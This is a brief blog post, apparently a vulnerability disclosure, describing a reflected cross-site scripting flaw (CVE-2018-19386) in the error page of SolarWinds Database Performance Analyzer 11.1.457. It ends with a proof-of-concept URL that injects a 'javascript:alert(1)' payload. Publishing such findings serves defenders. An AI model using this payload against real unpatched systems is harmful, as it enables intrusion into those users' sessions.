CVE-2018-19386: Reflected XSS in SolarWinds Database Performance Analyzer

Just a short post from me today, bringing you a pretty simple Cross-Site Scripting (XSS) issue. In version 11.1.457 of SolarWinds, there is a Reflected Cross-Site Scripting vulnerability in the 'idcStateError.iwc' error page. This has been addressed in version 12.1. However, versions below 11.1.457 may also be vulnerable, as it is unknown when the vulnerability was introduced.

The following HTTP Request and response show how the issue is triggered and the results:

http://192.168.1.101:8123/iwc/idcStateError.iwc?page=javascript%3aalert(1)%2f%2f
